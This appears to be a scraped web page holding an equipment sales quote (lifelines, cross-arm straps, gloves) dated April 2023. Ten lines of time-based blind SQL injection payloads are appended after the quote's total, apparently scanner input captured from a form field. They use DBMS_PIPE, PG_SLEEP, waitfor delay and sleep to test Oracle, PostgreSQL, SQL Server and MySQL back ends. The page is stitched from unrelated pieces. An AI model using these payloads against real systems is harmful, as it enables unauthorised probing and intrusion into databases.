| Quote Number | QUO-33024 |
| Quote Date | April 10, 2023 |
| Total | $1,053.40 |
| Hrs/Qty | Service | Rate/Price | Sub Total |
|---|---|---|---|
| 73 | LE18134 Purchase back from customer. |
$-15.00 | $-1,095.00 |
| 5 | A48806 4 feet cross arm strap |
$22.90 | $114.50 |
| 10 | SRL611311 20' SRL |
$159.90 | $1,599.00 |
| 3 | G4590L 3 dozen of G4590L |
$48.00 | $144.00 |
| 2 | G4590XL 2 dozen of G4590XL |
$48.00 | $96.00 |
| 3 | SGCOREI/O 1 dozen of SGCOREI/O |
$10.80 | $32.40 |
| 1 | G4590M 1 dozen of G4590M |
$48.00 | $48.00 |
| 5 | A72806 6 feet cross arm strap |
$22.90 | $114.50 |
| Sub Total | $1,053.40 |
| Tax | $0.00 |
| Total | $1,053.40 |
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555HSVxmyjM’)) OR 108=(SELECT 108 FROM PG_SLEEP(15))–
555PRTVTBZE’) OR 865=(SELECT 865 FROM PG_SLEEP(15))–
5559D9dBiVh’ OR 572=(SELECT 572 FROM PG_SLEEP(15))–
555-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))–
555-1) OR 363=(SELECT 363 FROM PG_SLEEP(15))–
555-1 OR 317=(SELECT 317 FROM PG_SLEEP(15))–
555-1); waitfor delay ‘0:0:15’ —
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/